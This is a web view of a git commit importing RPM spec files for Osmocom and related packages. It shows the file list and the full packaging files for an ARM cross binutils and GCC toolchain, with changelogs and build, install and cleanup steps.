aboutsummaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
authorOliver Smith <osmith@sysmocom.de>2020-05-07 11:08:01 +0200
committerOliver Smith <osmith@sysmocom.de>2020-05-07 11:12:54 +0200
commita1b81b8129ff5f51f6dbcc2e8b76b83d5dd621d6 (patch)
treed93a46408799fc535ad80545ad80b0a9627cb560
parentefbb9562a692060eabc99f08396b24b5b359c75b (diff)
rpm-local/spec: import files from mnhauke
$ osc co home:mnhauke:osmocom:nightly
-rw-r--r--rpm-local/spec/arm-elf-binutils/arm-elf-binutils.changes10
-rw-r--r--rpm-local/spec/arm-elf-binutils/arm-elf-binutils.rpmlintrc2
-rw-r--r--rpm-local/spec/arm-elf-binutils/arm-elf-binutils.spec70
-rw-r--r--rpm-local/spec/arm-elf-gcc/arm-elf-gcc.changes17
-rw-r--r--rpm-local/spec/arm-elf-gcc/arm-elf-gcc.rpmlintrc4
-rw-r--r--rpm-local/spec/arm-elf-gcc/arm-elf-gcc.spec128
-rw-r--r--rpm-local/spec/arm-elf-gcc/fix-gcc5-build.patch22
-rw-r--r--rpm-local/spec/arm-elf-gcc/fix-gcc9-build.patch13
-rw-r--r--rpm-local/spec/c-ares/0001-Use-RPM-compiler-options.patch41
-rw-r--r--rpm-local/spec/c-ares/baselibs.conf1
-rw-r--r--rpm-local/spec/c-ares/c-ares.changes361
-rw-r--r--rpm-local/spec/c-ares/c-ares.keyring34
-rw-r--r--rpm-local/spec/c-ares/c-ares.spec141
-rw-r--r--rpm-local/spec/c-ares/disable-live-tests.patch56
-rw-r--r--rpm-local/spec/c-ares/regression.patch106
-rw-r--r--rpm-local/spec/dct3-gsmtap/0001-build-obey-CFLAGS.patch22
-rw-r--r--rpm-local/spec/dct3-gsmtap/_service18
-rw-r--r--rpm-local/spec/dct3-gsmtap/_servicedata4
-rw-r--r--rpm-local/spec/dct3-gsmtap/dct3-gsmtap.changes11
-rw-r--r--rpm-local/spec/dct3-gsmtap/dct3-gsmtap.spec50
-rw-r--r--rpm-local/spec/diag-parser/_service17
-rw-r--r--rpm-local/spec/diag-parser/_servicedata4
-rw-r--r--rpm-local/spec/diag-parser/diag-parser.changes46
-rw-r--r--rpm-local/spec/diag-parser/diag-parser.spec52
-rw-r--r--rpm-local/spec/gapk/_service17
-rw-r--r--rpm-local/spec/gapk/_servicedata4
-rw-r--r--rpm-local/spec/gapk/gapk-disable-codec-dl-during-build.diff26
-rw-r--r--rpm-local/spec/gapk/gapk.changes123
-rw-r--r--rpm-local/spec/gapk/gapk.spec154
-rw-r--r--rpm-local/spec/libasn1c/_service14
-rw-r--r--rpm-local/spec/libasn1c/_servicedata4
-rw-r--r--rpm-local/spec/libasn1c/libasn1c.changes93
-rw-r--r--rpm-local/spec/libasn1c/libasn1c.spec98
-rw-r--r--rpm-local/spec/libdbi-drivers/_service14
-rw-r--r--rpm-local/spec/libdbi-drivers/configure.ac.patch11
-rw-r--r--rpm-local/spec/libdbi-drivers/libdbi-drivers.changes109
-rw-r--r--rpm-local/spec/libdbi-drivers/libdbi-drivers.spec163
-rw-r--r--rpm-local/spec/libdbi/baselibs.conf4
-rw-r--r--rpm-local/spec/libdbi/libdbi.changes83
-rw-r--r--rpm-local/spec/libdbi/libdbi.spec113
-rw-r--r--rpm-local/spec/libgtpnl/_service13
-rw-r--r--rpm-local/spec/libgtpnl/_servicedata4
-rw-r--r--rpm-local/spec/libgtpnl/libgtpnl.changes76
-rw-r--r--rpm-local/spec/libgtpnl/libgtpnl.spec86
-rw-r--r--rpm-local/spec/libosmo-abis/_service13
-rw-r--r--rpm-local/spec/libosmo-abis/_servicedata4
-rw-r--r--rpm-local/spec/libosmo-abis/libosmo-abis.changes447
-rw-r--r--rpm-local/spec/libosmo-abis/libosmo-abis.spec161
-rw-r--r--rpm-local/spec/libosmo-abis/osmo-talloc.diff37
-rw-r--r--rpm-local/spec/libosmo-dsp/HTML_TIMESTAMP.diff12
-rw-r--r--rpm-local/spec/libosmo-dsp/_service13
-rw-r--r--rpm-local/spec/libosmo-dsp/libosmo-dsp.changes53
-rw-r--r--rpm-local/spec/libosmo-dsp/libosmo-dsp.spec87
-rw-r--r--rpm-local/spec/libosmo-netif/_service13
-rw-r--r--rpm-local/spec/libosmo-netif/_servicedata4
-rw-r--r--rpm-local/spec/libosmo-netif/libosmo-netif.changes431
-rw-r--r--rpm-local/spec/libosmo-netif/libosmo-netif.spec89
-rw-r--r--rpm-local/spec/libosmo-sccp/0001-build-fixes.patch149
-rw-r--r--rpm-local/spec/libosmo-sccp/_service13
-rw-r--r--rpm-local/spec/libosmo-sccp/_servicedata4
-rw-r--r--rpm-local/spec/libosmo-sccp/libosmo-sccp.changes801
-rw-r--r--rpm-local/spec/libosmo-sccp/libosmo-sccp.spec235
-rw-r--r--rpm-local/spec/libosmocore/_service13
-rw-r--r--rpm-local/spec/libosmocore/_servicedata4
-rw-r--r--rpm-local/spec/libosmocore/libosmocore.changes2645
-rw-r--r--rpm-local/spec/libosmocore/libosmocore.spec460
-rw-r--r--rpm-local/spec/libsmpp34/_service14
-rw-r--r--rpm-local/spec/libsmpp34/_servicedata4
-rw-r--r--rpm-local/spec/libsmpp34/libsmpp34.changes105
-rw-r--r--rpm-local/spec/libsmpp34/libsmpp34.spec89
-rw-r--r--rpm-local/spec/libtelnet/_service12
-rw-r--r--rpm-local/spec/libtelnet/libtelnet-rpmlintrc1
-rw-r--r--rpm-local/spec/libtelnet/libtelnet.changes15
-rw-r--r--rpm-local/spec/libtelnet/libtelnet.spec121
-rw-r--r--rpm-local/spec/libusrp/_service17
-rw-r--r--rpm-local/spec/libusrp/_servicedata4
-rw-r--r--rpm-local/spec/libusrp/libusrp.changes47
-rw-r--r--rpm-local/spec/libusrp/libusrp.spec128
-rw-r--r--rpm-local/spec/limesuite/0001-Remove-some-warnings-LimeRFE-related.patch126
-rw-r--r--rpm-local/spec/limesuite/limesuite.changes362
-rw-r--r--rpm-local/spec/limesuite/limesuite.spec142
-rw-r--r--rpm-local/spec/openbsc/_service13
-rw-r--r--rpm-local/spec/openbsc/_servicedata4
-rw-r--r--rpm-local/spec/openbsc/openbsc.changes615
-rw-r--r--rpm-local/spec/openbsc/openbsc.spec148
-rw-r--r--rpm-local/spec/opencore-amr/_service7
-rw-r--r--rpm-local/spec/orcania/orcania.changes62
-rw-r--r--rpm-local/spec/orcania/orcania.spec77
-rw-r--r--rpm-local/spec/ortp/baselibs.conf1
-rw-r--r--rpm-local/spec/ortp/ortp.changes96
-rw-r--r--rpm-local/spec/ortp/ortp.spec92
-rw-r--r--rpm-local/spec/osmo-bsc/_service13
-rw-r--r--rpm-local/spec/osmo-bsc/_servicedata4
-rw-r--r--rpm-local/spec/osmo-bsc/osmo-bsc.changes1848
-rw-r--r--rpm-local/spec/osmo-bsc/osmo-bsc.spec145
-rw-r--r--rpm-local/spec/osmo-bts/_service13
-rw-r--r--rpm-local/spec/osmo-bts/_servicedata4
-rw-r--r--rpm-local/spec/osmo-bts/osmo-bts.changes2249
-rw-r--r--rpm-local/spec/osmo-bts/osmo-bts.spec116
-rw-r--r--rpm-local/spec/osmo-cbc/_service14
-rw-r--r--rpm-local/spec/osmo-cbc/_servicedata4
-rw-r--r--rpm-local/spec/osmo-cbc/osmo-cbc.changes43
-rw-r--r--rpm-local/spec/osmo-cbc/osmo-cbc.spec75
-rw-r--r--rpm-local/spec/osmo-e1-recorder/_service13
-rw-r--r--rpm-local/spec/osmo-e1-recorder/_servicedata4
-rw-r--r--rpm-local/spec/osmo-e1-recorder/osmo-e1-recorder.changes43
-rw-r--r--rpm-local/spec/osmo-e1-recorder/osmo-e1-recorder.spec71
-rw-r--r--rpm-local/spec/osmo-e1d/_service14
-rw-r--r--rpm-local/spec/osmo-e1d/_servicedata4
-rw-r--r--rpm-local/spec/osmo-e1d/osmo-e1d.changes13
-rw-r--r--rpm-local/spec/osmo-e1d/osmo-e1d.spec90
-rw-r--r--rpm-local/spec/osmo-el2tpd/_service14
-rw-r--r--rpm-local/spec/osmo-el2tpd/_servicedata4
-rw-r--r--rpm-local/spec/osmo-el2tpd/osmo-el2tpd.changes4
-rw-r--r--rpm-local/spec/osmo-el2tpd/osmo-el2tpd.spec79
-rw-r--r--rpm-local/spec/osmo-ggsn/_service13
-rw-r--r--rpm-local/spec/osmo-ggsn/_servicedata4
-rw-r--r--rpm-local/spec/osmo-ggsn/osmo-ggsn.changes558
-rw-r--r--rpm-local/spec/osmo-ggsn/osmo-ggsn.spec123
-rw-r--r--rpm-local/spec/osmo-gsm-manuals-devel/_service13
-rw-r--r--rpm-local/spec/osmo-gsm-manuals-devel/_servicedata4
-rw-r--r--rpm-local/spec/osmo-gsm-manuals-devel/adjust-check-bin-nwdiag.patch36
-rw-r--r--rpm-local/spec/osmo-gsm-manuals-devel/bypass-xmllint.patch13
-rw-r--r--rpm-local/spec/osmo-gsm-manuals-devel/osmo-gsm-manuals-devel.spec91
-rw-r--r--rpm-local/spec/osmo-gsm-manuals-devel/osmo-gsm-manuals.changes127
-rw-r--r--rpm-local/spec/osmo-gsm-manuals-devel/use-local-dtd.patch13
-rw-r--r--rpm-local/spec/osmo-gsm-manuals-devel/use-proper-pkgconfig-dir.patch13
-rw-r--r--rpm-local/spec/osmo-hlr/_service13
-rw-r--r--rpm-local/spec/osmo-hlr/_servicedata4
-rw-r--r--rpm-local/spec/osmo-hlr/osmo-hlr.changes838
-rw-r--r--rpm-local/spec/osmo-hlr/osmo-hlr.spec189
-rw-r--r--rpm-local/spec/osmo-iuh/_service13
-rw-r--r--rpm-local/spec/osmo-iuh/_servicedata4
-rw-r--r--rpm-local/spec/osmo-iuh/osmo-iuh.changes366
-rw-r--r--rpm-local/spec/osmo-iuh/osmo-iuh.spec136
-rw-r--r--rpm-local/spec/osmo-mgw/_service13
-rw-r--r--rpm-local/spec/osmo-mgw/_servicedata4
-rw-r--r--rpm-local/spec/osmo-mgw/osmo-mgw.changes869
-rw-r--r--rpm-local/spec/osmo-mgw/osmo-mgw.spec129
-rw-r--r--rpm-local/spec/osmo-msc/_service13
-rw-r--r--rpm-local/spec/osmo-msc/_servicedata4
-rw-r--r--rpm-local/spec/osmo-msc/osmo-msc.changes1627
-rw-r--r--rpm-local/spec/osmo-msc/osmo-msc.spec117
-rw-r--r--rpm-local/spec/osmo-pcap/_service13
-rw-r--r--rpm-local/spec/osmo-pcap/_servicedata4
-rw-r--r--rpm-local/spec/osmo-pcap/osmo-pcap.changes245
-rw-r--r--rpm-local/spec/osmo-pcap/osmo-pcap.spec85
-rw-r--r--rpm-local/spec/osmo-pcu/_service13
-rw-r--r--rpm-local/spec/osmo-pcu/_servicedata4
-rw-r--r--rpm-local/spec/osmo-pcu/osmo-pcu.changes1635
-rw-r--r--rpm-local/spec/osmo-pcu/osmo-pcu.spec82
-rw-r--r--rpm-local/spec/osmo-python-tests/_service17
-rw-r--r--rpm-local/spec/osmo-python-tests/_servicedata4
-rw-r--r--rpm-local/spec/osmo-python-tests/osmo-python-tests.changes84
-rw-r--r--rpm-local/spec/osmo-python-tests/osmo-python-tests.spec68
-rw-r--r--rpm-local/spec/osmo-qcdiag/0003-Fix-Makefile.patch22
-rw-r--r--rpm-local/spec/osmo-qcdiag/_service17
-rw-r--r--rpm-local/spec/osmo-qcdiag/_servicedata4
-rw-r--r--rpm-local/spec/osmo-qcdiag/osmo-qcdiag.changes89
-rw-r--r--rpm-local/spec/osmo-qcdiag/osmo-qcdiag.spec57
-rw-r--r--rpm-local/spec/osmo-remsim/_service17
-rw-r--r--rpm-local/spec/osmo-remsim/_servicedata4
-rw-r--r--rpm-local/spec/osmo-remsim/osmo-remsim.changes600
-rw-r--r--rpm-local/spec/osmo-remsim/osmo-remsim.spec215
-rw-r--r--rpm-local/spec/osmo-sgsn/_service13
-rw-r--r--rpm-local/spec/osmo-sgsn/_servicedata4
-rw-r--r--rpm-local/spec/osmo-sgsn/osmo-sgsn.changes872
-rw-r--r--rpm-local/spec/osmo-sgsn/osmo-sgsn.spec141
-rw-r--r--rpm-local/spec/osmo-sim-auth/_service19
-rw-r--r--rpm-local/spec/osmo-sim-auth/_servicedata4
-rw-r--r--rpm-local/spec/osmo-sim-auth/osmo-sim-auth.changes20
-rw-r--r--rpm-local/spec/osmo-sim-auth/osmo-sim-auth.spec46
-rw-r--r--rpm-local/spec/osmo-sip-connector/_service13
-rw-r--r--rpm-local/spec/osmo-sip-connector/_servicedata4
-rw-r--r--rpm-local/spec/osmo-sip-connector/osmo-sip-connector.changes380
-rw-r--r--rpm-local/spec/osmo-sip-connector/osmo-sip-connector.spec78
-rw-r--r--rpm-local/spec/osmo-sysmon/_service14
-rw-r--r--rpm-local/spec/osmo-sysmon/_servicedata4
-rw-r--r--rpm-local/spec/osmo-sysmon/osmo-sysmon.changes501
-rw-r--r--rpm-local/spec/osmo-sysmon/osmo-sysmon.spec66
-rw-r--r--rpm-local/spec/osmo-trx/_service13
-rw-r--r--rpm-local/spec/osmo-trx/_servicedata4
-rw-r--r--rpm-local/spec/osmo-trx/osmo-trx-rpmlintrc1
-rw-r--r--rpm-local/spec/osmo-trx/osmo-trx.changes973
-rw-r--r--rpm-local/spec/osmo-trx/osmo-trx.spec189
-rw-r--r--rpm-local/spec/osmo-uecups/_service14
-rw-r--r--rpm-local/spec/osmo-uecups/_servicedata4
-rw-r--r--rpm-local/spec/osmo-uecups/osmo-uecups.changes22
-rw-r--r--rpm-local/spec/osmo-uecups/osmo-uecups.spec86
-rw-r--r--rpm-local/spec/osmocom-bb-fwp/_service18
-rw-r--r--rpm-local/spec/osmocom-bb-fwp/_servicedata4
-rw-r--r--rpm-local/spec/osmocom-bb-fwp/fwp.patch2987
-rw-r--r--rpm-local/spec/osmocom-bb-fwp/osmocom-bb-fwp.changes20
-rw-r--r--rpm-local/spec/osmocom-bb-fwp/osmocom-bb-fwp.rpmlintrc1
-rw-r--r--rpm-local/spec/osmocom-bb-fwp/osmocom-bb-fwp.spec131
-rw-r--r--rpm-local/spec/osmocom-bb-fwp/push-kc.sh16
-rw-r--r--rpm-local/spec/osmocom-bb-fwp/push-range.sh21
-rw-r--r--rpm-local/spec/osmocom-bb-fwp/push-tmsi.sh16
-rw-r--r--rpm-local/spec/osmocom-bb-jolly-emi/_service18
-rw-r--r--rpm-local/spec/osmocom-bb-jolly-emi/_servicedata4
-rw-r--r--rpm-local/spec/osmocom-bb-jolly-emi/osmocom-bb-enable-tx.patch13
-rw-r--r--rpm-local/spec/osmocom-bb-jolly-emi/osmocom-bb-jolly-emi.changes47
-rw-r--r--rpm-local/spec/osmocom-bb-jolly-emi/osmocom-bb-jolly-emi.rpmlintrc1
-rw-r--r--rpm-local/spec/osmocom-bb-jolly-emi/osmocom-bb-jolly-emi.spec129
-rw-r--r--rpm-local/spec/osmocom-bb-jolly-emi/osmocom-bb-jolly-testing-fix-typo.patch10
-rw-r--r--rpm-local/spec/osmocom-bb-jolly-testing/0001-layer23-Fix-build-against-gpsd-3.18.patch48
-rw-r--r--rpm-local/spec/osmocom-bb-jolly-testing/0001-layer23-Fix-build-against-gpsd-3.20.patch45
-rw-r--r--rpm-local/spec/osmocom-bb-jolly-testing/_service18
-rw-r--r--rpm-local/spec/osmocom-bb-jolly-testing/_servicedata4
-rw-r--r--rpm-local/spec/osmocom-bb-jolly-testing/osmocom-bb-enable-tx.patch13
-rw-r--r--rpm-local/spec/osmocom-bb-jolly-testing/osmocom-bb-jolly-testing.changes76
-rw-r--r--rpm-local/spec/osmocom-bb-jolly-testing/osmocom-bb-jolly-testing.rpmlintrc1
-rw-r--r--rpm-local/spec/osmocom-bb-jolly-testing/osmocom-bb-jolly-testing.spec132
-rw-r--r--rpm-local/spec/osmocom-bb-jolly-ui/0001-layer23-Fix-build-against-gpsd-3.18.patch48
-rw-r--r--rpm-local/spec/osmocom-bb-jolly-ui/0001-layer23-Fix-build-against-gpsd-3.20.patch45
-rw-r--r--rpm-local/spec/osmocom-bb-jolly-ui/_service18
-rw-r--r--rpm-local/spec/osmocom-bb-jolly-ui/_servicedata4
-rw-r--r--rpm-local/spec/osmocom-bb-jolly-ui/osmocom-bb-enable-tx.patch13
-rw-r--r--rpm-local/spec/osmocom-bb-jolly-ui/osmocom-bb-jolly-ui.changes41
-rw-r--r--rpm-local/spec/osmocom-bb-jolly-ui/osmocom-bb-jolly-ui.rpmlintrc1
-rw-r--r--rpm-local/spec/osmocom-bb-jolly-ui/osmocom-bb-jolly-ui.spec131
-rw-r--r--rpm-local/spec/osmocom-bb-snake/_service18
-rw-r--r--rpm-local/spec/osmocom-bb-snake/_servicedata4
-rw-r--r--rpm-local/spec/osmocom-bb-snake/osmocom-bb-snake.changes40
-rw-r--r--rpm-local/spec/osmocom-bb-snake/osmocom-bb-snake.rpmlintrc1
-rw-r--r--rpm-local/spec/osmocom-bb-snake/osmocom-bb-snake.spec102
-rw-r--r--rpm-local/spec/osmocom-bb-sylvain-burst-ind/0001-host-Add-support-for-the-new-gpsd-API.patch74
-rw-r--r--rpm-local/spec/osmocom-bb-sylvain-burst-ind/0001-layer23-Fix-build-against-gpsd-3.18.patch48
-rw-r--r--rpm-local/spec/osmocom-bb-sylvain-burst-ind/0001-layer23-Fix-build-against-gpsd-3.20.patch45
-rw-r--r--rpm-local/spec/osmocom-bb-sylvain-burst-ind/_service18
-rw-r--r--rpm-local/spec/osmocom-bb-sylvain-burst-ind/_servicedata4
-rw-r--r--rpm-local/spec/osmocom-bb-sylvain-burst-ind/osmocom-bb-enable-tx.patch13
-rw-r--r--rpm-local/spec/osmocom-bb-sylvain-burst-ind/osmocom-bb-sylvain-burst-ind.changes10
-rw-r--r--rpm-local/spec/osmocom-bb-sylvain-burst-ind/osmocom-bb-sylvain-burst-ind.patch10
-rw-r--r--rpm-local/spec/osmocom-bb-sylvain-burst-ind/osmocom-bb-sylvain-burst-ind.rpmlintrc1
-rw-r--r--rpm-local/spec/osmocom-bb-sylvain-burst-ind/osmocom-bb-sylvain-burst-ind.spec135
-rw-r--r--rpm-local/spec/osmocom-bb/_service18
-rw-r--r--rpm-local/spec/osmocom-bb/_servicedata4
-rw-r--r--rpm-local/spec/osmocom-bb/osmocom-bb-enable-tx.patch13
-rw-r--r--rpm-local/spec/osmocom-bb/osmocom-bb-pkgconfig-find-lua.patch13
-rw-r--r--rpm-local/spec/osmocom-bb/osmocom-bb.changes1445
-rw-r--r--rpm-local/spec/osmocom-bb/osmocom-bb.rpmlintrc1
-rw-r--r--rpm-local/spec/osmocom-bb/osmocom-bb.spec153
-rw-r--r--rpm-local/spec/python-PyChart/python-PyChart.changes12
-rw-r--r--rpm-local/spec/python-PyChart/python-PyChart.spec56
-rw-r--r--rpm-local/spec/python-nwdiag/python-nwdiag.changes23
-rw-r--r--rpm-local/spec/python-nwdiag/python-nwdiag.spec64
-rw-r--r--rpm-local/spec/python-pyscard/python-pyscard.changes107
-rw-r--r--rpm-local/spec/python-pyscard/python-pyscard.spec70
-rw-r--r--rpm-local/spec/python-pysim/_service18
-rw-r--r--rpm-local/spec/python-pysim/_servicedata4
-rw-r--r--rpm-local/spec/python-pysim/python-pysim.spec59
-rw-r--r--rpm-local/spec/python-pysim/python-pysim.spec.changes448
-rw-r--r--rpm-local/spec/simtrace/_service18
-rw-r--r--rpm-local/spec/simtrace/_servicedata4
-rw-r--r--rpm-local/spec/simtrace/simtrace.changes19
-rw-r--r--rpm-local/spec/simtrace/simtrace.spec52
-rw-r--r--rpm-local/spec/simtrace2/_service14
-rw-r--r--rpm-local/spec/simtrace2/_servicedata4
-rw-r--r--rpm-local/spec/simtrace2/simtrace2.changes553
-rw-r--r--rpm-local/spec/simtrace2/simtrace2.spec103
-rw-r--r--rpm-local/spec/soapy-sdr/soapy-sdr.changes349
-rw-r--r--rpm-local/spec/soapy-sdr/soapy-sdr.spec111
-rw-r--r--rpm-local/spec/soapy-uhd/soapy-uhd.changes88
-rw-r--r--rpm-local/spec/soapy-uhd/soapy-uhd.spec75
-rw-r--r--rpm-local/spec/sofia-sip/sofia-sip.changes91
-rw-r--r--rpm-local/spec/sofia-sip/sofia-sip.spec235
-rw-r--r--rpm-local/spec/uhd/fix-for-armv6l-armv7l-build-failure.patch23
-rw-r--r--rpm-local/spec/uhd/uhd-fix-for-boost-1_66.patch57
-rw-r--r--rpm-local/spec/uhd/uhd-fix-for-boost-1_67.patch79
-rw-r--r--rpm-local/spec/uhd/uhd.changes221
-rw-r--r--rpm-local/spec/uhd/uhd.spec233
-rw-r--r--rpm-local/spec/ulfius/ulfius.changes167
-rw-r--r--rpm-local/spec/ulfius/ulfius.spec108
-rw-r--r--rpm-local/spec/xgoldmon/_service18
-rw-r--r--rpm-local/spec/xgoldmon/_servicedata4
-rw-r--r--rpm-local/spec/xgoldmon/xgoldmon.changes5
-rw-r--r--rpm-local/spec/xgoldmon/xgoldmon.spec54
-rw-r--r--rpm-local/spec/yder/yder.changes58
-rw-r--r--rpm-local/spec/yder/yder.spec87
280 files changed, 37356 insertions, 0 deletions
diff --git a/rpm-local/spec/arm-elf-binutils/arm-elf-binutils.changes b/rpm-local/spec/arm-elf-binutils/arm-elf-binutils.changes
new file mode 100644
index 0000000..470a7d3
--- /dev/null
+++ b/rpm-local/spec/arm-elf-binutils/arm-elf-binutils.changes
@@ -0,0 +1,10 @@
+-------------------------------------------------------------------
+Sat Feb 10 10:03:02 UTC 2018 - mardnh@gmx.de
+
+- Run spec-cleaner
+
+-------------------------------------------------------------------
+Fri Aug 30 07:36:29 UTC 2013 - mardnh@gmx.de
+
+- Initial package
+
diff --git a/rpm-local/spec/arm-elf-binutils/arm-elf-binutils.rpmlintrc b/rpm-local/spec/arm-elf-binutils/arm-elf-binutils.rpmlintrc
new file mode 100644
index 0000000..9340248
--- /dev/null
+++ b/rpm-local/spec/arm-elf-binutils/arm-elf-binutils.rpmlintrc
@@ -0,0 +1,2 @@
+addFilter("suse-filelist-forbidden-opt")
+addFilter("devel-file-in-non-devel-package")
diff --git a/rpm-local/spec/arm-elf-binutils/arm-elf-binutils.spec b/rpm-local/spec/arm-elf-binutils/arm-elf-binutils.spec
new file mode 100644
index 0000000..d7e6bb6
--- /dev/null
+++ b/rpm-local/spec/arm-elf-binutils/arm-elf-binutils.spec
@@ -0,0 +1,70 @@
+#
+# spec file for package arm-elf-binutils
+#
+# Copyright (c) 2015, Martin Hauke <mardnh@gmx.de>
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via http://bugs.opensuse.org/
+#
+
+
+%define target arm-elf
+%define _prefix /opt/%{target}-toolchain
+
+Name: %{target}-binutils
+Version: 2.21.1
+Release: 0
+Summary: Cross Compiling GNU Binutils targeted at %{target}
+License: GFDL-1.3 and GPL-3.0+
+Group: Development/Tools/Building
+Url: http://www.gnu.org/software/binutils/
+Source: http://ftp.gnu.org/gnu/binutils/binutils-%{version}a.tar.bz2
+BuildRequires: bison
+BuildRequires: flex
+BuildRoot: %{_tmppath}/%{name}-%{version}-build
+ExclusiveArch: %ix86 x86_64
+
+%description
+This is a Cross Compiling version of GNU binutils, which can be used to
+assemble and link binaries for the %{target} platform, instead of for the
+native %{_arch} platform.
+
+%prep
+%setup -q -n binutils-%{version}
+
+%build
+./configure \
+ --target=%{target} \
+ --prefix=%{_prefix} \
+ --infodir=%{_infodir} \
+ --mandir=%{_mandir} \
+ --enable-interwork \
+ --enable-threads=posix \
+ --enable-multilib \
+ --with-float=soft \
+ --disable-werror \
+ --disable-nls
+make %{?_smp_mflags} all
+
+%install
+make DESTDIR=%{buildroot} install %{?_smp_mflags}
+rm -f %{buildroot}/%{_mandir}/man1/%{target}-{dlltool,nlmconv,windres,windmc}.1
+rm -r %{buildroot}/%{_infodir}
+rm -r %{buildroot}/%{_libdir}
+%ifarch x86_64
+rm -r %{buildroot}/%{_prefix}/lib
+%endif
+
+%files
+%defattr(-,root,root)
+%{_prefix}
+
+%changelog
diff --git a/rpm-local/spec/arm-elf-gcc/arm-elf-gcc.changes b/rpm-local/spec/arm-elf-gcc/arm-elf-gcc.changes
new file mode 100644
index 0000000..b55cf0e
--- /dev/null
+++ b/rpm-local/spec/arm-elf-gcc/arm-elf-gcc.changes
@@ -0,0 +1,17 @@
+-------------------------------------------------------------------
+Sun Oct 13 20:55:28 UTC 2019 - Martin Hauke <mardnh@gmx.de>
+
+- Adjust patch "fix-gcc9-build.patch" to make it work with gcc9.2
+
+-------------------------------------------------------------------
+Thu Jun 20 19:46:15 UTC 2019 - Martin Hauke <mardnh@gmx.de>
+
+- Add patch:
+ * fix-gcc9-build.patch
+ https://gcc.gnu.org/bugzilla/show_bug.cgi?id=90677
+
+-------------------------------------------------------------------
+Fri Aug 30 07:36:45 UTC 2013 - mardnh@gmx.de
+
+- Initial package
+
diff --git a/rpm-local/spec/arm-elf-gcc/arm-elf-gcc.rpmlintrc b/rpm-local/spec/arm-elf-gcc/arm-elf-gcc.rpmlintrc
new file mode 100644
index 0000000..db4b7d2
--- /dev/null
+++ b/rpm-local/spec/arm-elf-gcc/arm-elf-gcc.rpmlintrc
@@ -0,0 +1,4 @@
+addFilter("suse-filelist-forbidden-opt")
+addFilter("devel-file-in-non-devel-package")
+addFilter("rpm-buildroot-usage")
+#addFilter("incorrect-fsf-address")
diff --git a/rpm-local/spec/arm-elf-gcc/arm-elf-gcc.spec b/rpm-local/spec/arm-elf-gcc/arm-elf-gcc.spec
new file mode 100644
index 0000000..8b81f14
--- /dev/null
+++ b/rpm-local/spec/arm-elf-gcc/arm-elf-gcc.spec
@@ -0,0 +1,128 @@
+%define target arm-elf
+%define _prefix /opt/%{target}-toolchain
+
+%define newlib_version 1.19.0
+%define gcc_version 4.5.2
+
+Name: %{target}-gcc
+Version: %gcc_version
+Release: 0
+License: GPL-3.0 and LGPL-2.0+ and BSD-3-Clause
+Summary: Cross Compiling GNU GCC targeted at %{target}
+Url: http://gcc.gnu.org/
+Group: Development/Tools/Building
+Source0: http://ftp.gnu.org/gnu/gcc/gcc-%{gcc_version}/gcc-%{gcc_version}.tar.bz2
+Source1: ftp://sources.redhat.com/pub/newlib/newlib-%{newlib_version}.tar.gz
+Patch0: fix-gcc5-build.patch
+Patch1: fix-gcc9-build.patch
+BuildRequires: gcc
+BuildRequires: gcc-c++
+BuildRequires: bison
+BuildRequires: automake
+BuildRequires: autoconf
+BuildRequires: gmp-devel
+BuildRequires: mpfr-devel
+BuildRequires: mpc-devel
+BuildRequires: zlib-devel
+BuildRequires: %{target}-binutils = 2.21.1
+BuildRequires: fdupes
+Requires: %{target}-binutils = 2.21.1
+ExclusiveArch: %ix86 x86_64
+
+%description
+This is a Cross Compiling version of GNU GCC, which can be used to
+compile programs for the %{target} platform, instead of for the
+native %{_arch} platform.
+
+%prep
+%setup -q -b 1 -n gcc-%{gcc_version}
+%patch0 -p2
+%if 0%{?suse_version} >= 1550
+%patch1 -p1
+%endif
+
+# Patch GCC multilib rules
+echo "
+
+MULTILIB_OPTIONS += mno-thumb-interwork/mthumb-interwork
+MULTILIB_DIRNAMES += normal interwork
+
+" >> ./gcc/config/arm/t-%{target}
+
+# Copy the C library into GCC's source tree to make a combined tree
+ln -s ../newlib-%{newlib_version}/newlib .
+ln -s ../newlib-%{newlib_version}/libgloss .
+
+# Touch and update some timestamps etc
+./contrib/gcc_update --touch
+
+# Extract %%__os_install_post into os_install_post~
+cat << \EOF > os_install_post~
+%__os_install_post
+EOF
+
+# Generate customized brp-*scripts
+cat os_install_post~ | while read a x y; do
+case $a in
+# Prevent brp-strip* from trying to handle foreign binaries
+*/brp-strip*)
+ b=$(basename $a)
+ sed -e 's,find %{buildroot},find %{buildroot}/%{_bindir} %{buildroot}%{_libexecdir},' $a > $b
+ chmod a+x $b
+ ;;
+esac
+done
+sed -e 's,^[ ]*/usr/lib/rpm.*/brp-strip,./brp-strip,' < os_install_post~ > os_install_post
+
+
+%build
+mkdir -p build
+pushd build
+../configure \
+ --target=%{target} \
+ --host=%{_host} \
+ --build=%{_build} \
+ --prefix=%{_prefix} \
+ --infodir=%{_infodir} \
+ --mandir=%{_mandir} \
+ --with-local-prefix=%{_prefix}/%{target} \
+ --disable-shared \
+ --disable-nls \
+ --enable-interwork \
+ --enable-multilib \
+ --with-float=soft \
+ --with-newlib \
+ --with-system-zlib \
+ --enable-languages=c,c++ \
+ --disable-werror
+make all
+popd
+
+%install
+pushd build
+make install DESTDIR=%{buildroot}
+popd
+
+# Delete all .la files
+find "%{buildroot}%{_prefix}" -type f -name "*.la" -delete
+# We don't want these as we are a cross version
+rm %{buildroot}%{_libdir}/libiberty.a
+rm -r %{buildroot}%{_prefix}/lib/gcc/%{target}/%{version}/install-tools
+rm -r %{buildroot}%{_prefix}/libexec/gcc/%{target}/%{version}/install-tools
+rm -r %{buildroot}%{_prefix}/share/gcc-%{version}
+rm -r %{buildroot}%{_infodir}
+rm -r %{buildroot}%{_mandir}/man7
+# Fix permisssions
+find "%{buildroot}%{_prefix}/%{target}/lib/" -type f -name "*.a" | xargs chmod 644
+# Relink duplicate files
+%fdupes -s %{buildroot}
+# Use custom os_install_post
+%define __os_install_post . ./os_install_post
+
+%files
+%defattr(-,root,root)
+%doc COPYING COPYING3 COPYING3.LIB COPYING.LIB COPYING.RUNTIME README
+%{_prefix}
+
+%changelog
+
diff --git a/rpm-local/spec/arm-elf-gcc/fix-gcc5-build.patch b/rpm-local/spec/arm-elf-gcc/fix-gcc5-build.patch
